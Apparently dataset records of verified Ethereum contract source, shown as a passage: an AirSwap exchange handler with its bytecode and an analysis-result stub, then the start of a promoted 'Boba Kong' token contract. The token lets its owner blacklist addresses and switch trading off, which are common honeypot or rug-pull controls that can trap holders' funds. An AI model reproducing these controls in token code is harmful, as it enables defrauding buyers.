uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
}
// File: contracts/WETH9.sol
// Copyright (C) 2015, 2016, 2017 Dapphub
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() public payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return this.balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
Transfer(src, dst, wad);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/AirSwapHandler.sol
/**
* @title AirSwap interface.
*/
interface AirSwapInterface {
/// @dev Mapping of order hash to bool (true = already filled).
function fills(
bytes32 hash
) external view returns (bool);
/// @dev Fills an order by transferring tokens between (maker or escrow) and taker.
/// Maker is given tokenA to taker.
function fill(
address makerAddress,
uint makerAmount,
address makerToken,
address takerAddress,
uint takerAmount,
address takerToken,
uint256 expiration,
uint256 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
/**
* @title AirSwap wrapper contract.
* @dev Assumes makers and takers have approved this contract to access their balances.
*/
contract AirSwapHandler is ExchangeHandler, Ownable {
/// @dev AirSwap exhange address
AirSwapInterface public airSwap;
WETH9 public weth;
address public totle;
modifier onlyTotle() {
require(msg.sender == totle);
_;
}
/// @dev Constructor
function AirSwapHandler(
address _airSwap,
address _wethAddress,
address _totle
) public {
require(_airSwap != address(0x0));
require(_wethAddress != address(0x0));
require(_totle != address(0x0));
airSwap = AirSwapInterface(_airSwap);
weth = WETH9(_wethAddress);
totle = _totle;
}
/// @dev Get the available amount left to fill for an order
/// @param orderValues Array of uint values needed for this DEX order
/// @return Available amount left to fill for this order
function getAvailableAmount(
address[8],
uint256[6] orderValues,
uint256,
uint8,
bytes32,
bytes32
) external returns (uint256) {
// Just return a orderValues[0], as there's nothing else we can do here
return orderValues[0];
}
/// @dev Perform a buy order at the exchange
/// @param orderAddresses Array of address values needed for each DEX order
/// @param orderValues Array of uint values needed for each DEX order
/// @param amountToFill Amount to fill in this order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Amount filled in this order
function performBuy(
address[8] orderAddresses,
uint256[6] orderValues,
uint256,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
)
external
onlyTotle
payable
returns (uint256) {
fillBuy(orderAddresses, orderValues, v, r, s);
return amountToFill;
}
/// @dev Perform a sell order at the exchange
/// @param orderAddresses Array of address values needed for each DEX order
/// @param orderValues Array of uint values needed for each DEX order
/// @param amountToFill Amount to fill in this order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Amount filled in this order
function performSell(
address[8] orderAddresses,
uint256[6] orderValues,
uint256,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
)
external
onlyTotle
returns (uint256) {
return fillSell(orderAddresses, orderValues, v, r, s);
}
function setTotle(address _totle)
external
onlyOwner {
require(_totle != address(0));
totle = _totle;
}
/// @dev The contract is not designed to hold and/or manage tokens.
/// Withdraws token in the case of emergency. Only an owner is allowed to call this.
function withdrawToken(address _token, uint _amount)
external
onlyOwner
returns (bool) {
return ERC20(_token).transfer(owner, _amount);
}
/// @dev The contract is not designed to hold ETH.
/// Withdraws ETH in the case of emergency. Only an owner is allowed to call this.
function withdrawETH(uint _amount)
external
onlyOwner
returns (bool) {
owner.transfer(_amount);
}
function() public payable {
}
/** Validates order arguments for fill() and cancel() functions. */
function validateOrder(
address makerAddress,
uint makerAmount,
address makerToken,
address takerAddress,
uint takerAmount,
address takerToken,
uint256 expiration,
uint256 nonce)
public
view
returns (bool) {
// Hash arguments to identify the order.
bytes32 hashV = keccak256(makerAddress, makerAmount, makerToken,
takerAddress, takerAmount, takerToken,
expiration, nonce);
return airSwap.fills(hashV);
}
/// orderAddresses[0] == makerAddress
/// orderAddresses[1] == makerToken
/// orderAddresses[2] == takerAddress
/// orderAddresses[3] == takerToken
/// orderValues[0] = makerAmount
/// orderValues[1] = takerAmount
/// orderValues[2] = expiration
/// orderValues[3] = nonce
function fillBuy(
address[8] orderAddresses,
uint256[6] orderValues,
uint8 v,
bytes32 r,
bytes32 s
) private {
airSwap.fill.value(msg.value)(orderAddresses[0], orderValues[0], orderAddresses[1],
address(this), orderValues[1], orderAddresses[3],
orderValues[2], orderValues[3], v, r, s);
require(validateOrder(orderAddresses[0], orderValues[0], orderAddresses[1],
address(this), orderValues[1], orderAddresses[3],
orderValues[2], orderValues[3]));
require(ERC20(orderAddresses[1]).transfer(orderAddresses[2], orderValues[0]));
}
/// orderAddresses[0] == makerAddress
/// orderAddresses[1] == makerToken
/// orderAddresses[2] == takerAddress
/// orderAddresses[3] == takerToken
/// orderValues[0] = makerAmount
/// orderValues[1] = takerAmount
/// orderValues[2] = expiration
/// orderValues[3] = nonce
function fillSell(
address[8] orderAddresses,
uint256[6] orderValues,
uint8 v,
bytes32 r,
bytes32 s
) private
returns (uint)
{
assert(msg.sender == totle);
require(orderAddresses[1] == address(weth));
uint takerAmount = orderValues[1];
require(ERC20(orderAddresses[3]).approve(address(airSwap), takerAmount));
airSwap.fill(orderAddresses[0], orderValues[0], orderAddresses[1],
address(this), takerAmount, orderAddresses[3],
orderValues[2], orderValues[3], v, r, s);
require(validateOrder(orderAddresses[0], orderValues[0], orderAddresses[1],
address(this), takerAmount, orderAddresses[3],
orderValues[2], orderValues[3]));
weth.withdraw(orderValues[0]);
msg.sender.transfer(orderValues[0]);
return orderValues[0];
}
}
|
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632183e390146100bc578063370099d4146100f55780633fc8cef31461014a5780634102bf5c1461019f5780634981b3ca1461020b5780638da5cb5b146102805780639e281a98146102d5578063aeb89f141461032f578063bdd5be2f14610384578063c6dd5db5146103ee578063f14210a6146104c0578063f2fde38b146104fb575b005b34156100c757600080fd5b6100f3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610534565b005b341561010057600080fd5b61010861060f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561015557600080fd5b61015d610635565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101aa57600080fd5b6101f560048080610100019091908060c001909190803590602001909190803560ff16906020019091908035600019169060200190919080356000191690602001909190505061065b565b6040518082815260200191505060405180910390f35b341561021657600080fd5b61026a60048080610100019091908060c001909190803590602001909190803590602001909190803560ff16906020019091908035600019169060200190919080356000191690602001909190505061067d565b6040518082815260200191505060405180910390f35b341561028b57600080fd5b61029361073f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102e057600080fd5b610315600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610764565b604051808215151515815260200191505060405180910390f35b341561033a57600080fd5b6103426108a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d860048080610100019091908060c001909190803590602001909190803590602001909190803560ff1690602001909190803560001916906020019091908035600019169060200190919050506108c9565b6040518082815260200191505060405180910390f35b34156103f957600080fd5b6104a6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001909190505061098c565b604051808215151515815260200191505060405180910390f35b34156104cb57600080fd5b6104e16004808035906020019091905050610b89565b604051808215151515815260200191505060405180910390f35b341561050657600080fd5b610532600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c4c565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561058f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156105cb57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600085600060068110151561066c57fe5b602002013590509695505050505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106db57600080fd5b61073288600880602002604051908101604052809291908260086020028082843782019150505050508860068060200260405190810160405280929190826006602002808284378201915050505050868686610da1565b9050979650505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107c157600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561088457600080fd5b5af1151561089157600080fd5b50505060405180519050905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561092757600080fd5b61097e88600880602002604051908101604052809291908260086020028082843782019150505050508860068060200260405190810160405280929190826006602002808284378201915050505050868686611356565b849050979650505050505050565b6000808989898989898989604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018381526020018281526020019850505050505050505060405180910390209050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166320158c44826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1515610b6357600080fd5b5af11515610b7057600080fd5b5050506040518051905091505098975050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610be657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610c4757600080fd5b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ca757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ce357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dfd57fe5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16876001600881101515610e4557fe5b602002015173ffffffffffffffffffffffffffffffffffffffff16141515610e6c57600080fd5b856001600681101515610e7b57fe5b60200201519050866003600881101515610e9157fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610f5957600080fd5b5af11515610f6657600080fd5b505050604051805190501515610f7b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d4d691d886000600881101515610fc857fe5b6020020151886000600681101515610fdc57fe5b60200201518a6001600881101515610ff057fe5b602002015130868d600360088110151561100657fe5b60200201518d600260068110151561101a57fe5b60200201518e600360068110151561102e57fe5b60200201518e8e8e6040518c63ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018460ff1660ff168152602001836000191660001916815260200182600019166000191681526020019b505050505050505050505050600060405180830381600087803b151561119357600080fd5b5af115156111a057600080fd5b5050506112258760006008811015156111b557fe5b60200201518760006006811015156111c957fe5b60200201518960016008811015156111dd57fe5b602002015130858c60036008811015156111f357fe5b60200201518c600260068110151561120757fe5b60200201518d600360068110151561121b57fe5b602002015161098c565b151561123057600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d87600060068110151561127d57fe5b60200201516040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156112d357600080fd5b5af115156112e057600080fd5b5050503373ffffffffffffffffffffffffffffffffffffffff166108fc87600060068110151561130c57fe5b60200201519081150290604051600060405180830381858888f19350505050151561133657600080fd5b85600060068110151561134557fe5b602002015191505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d4d691d348760006008811015156113a457fe5b60200201518760006006811015156113b857fe5b60200201518960016008811015156113cc57fe5b6020020151308a60016006811015156113e157fe5b60200201518c60036008811015156113f557fe5b60200201518c600260068110151561140957fe5b60200201518d600360068110151561141d57fe5b60200201518d8d8d6040518d63ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018460ff1660ff168152602001836000191660001916815260200182600019166000191681526020019b5050505050505050505050506000604051808303818588803b151561158157600080fd5b5af1151561158e57600080fd5b505050506116278560006008811015156115a457fe5b60200201518560006006811015156115b857fe5b60200201518760016008811015156115cc57fe5b6020020151308860016006811015156115e157fe5b60200201518a60036008811015156115f557fe5b60200201518a600260068110151561160957fe5b60200201518b600360068110151561161d57fe5b602002015161098c565b151561163257600080fd5b84600160088110151561164157fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86600260088110151561167057fe5b602002015186600060068110151561168457fe5b60200201516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561170d57600080fd5b5af1151561171a57600080fd5b50505060405180519050151561172f57600080fd5b50505050505600a165627a7a72305820e3d8117a2a96f14686723d191730311c63b06868c6866b05d57f4f59bed074800029
|
{"success": true, "error": null, "results": {}}
| 8,966 |
0x1e790ff2a717deaa46d65fb73ded957800ce5903
|
/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/*
The King Kong
$BOBAKONG
Max transaction - 2%
Max Wallet - 4%
Total Tax - 12%
Join Community below for the Official $BOBAKONG Contract
-Web: www.bobakong.com
-Tg Portal: https://t.me/bobakong
-Twitter: https://twitter.com/Boba_kong
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract bobakongcontract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Boba Kong";
string private constant _symbol = "BOBAKONG";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xF94ff4658b6d1B0a59C4825E3EFF528b0B28Cc6b);
address payable private _marketingAddress = payable(0xF94ff4658b6d1B0a59C4825E3EFF528b0B28Cc6b);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 40000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
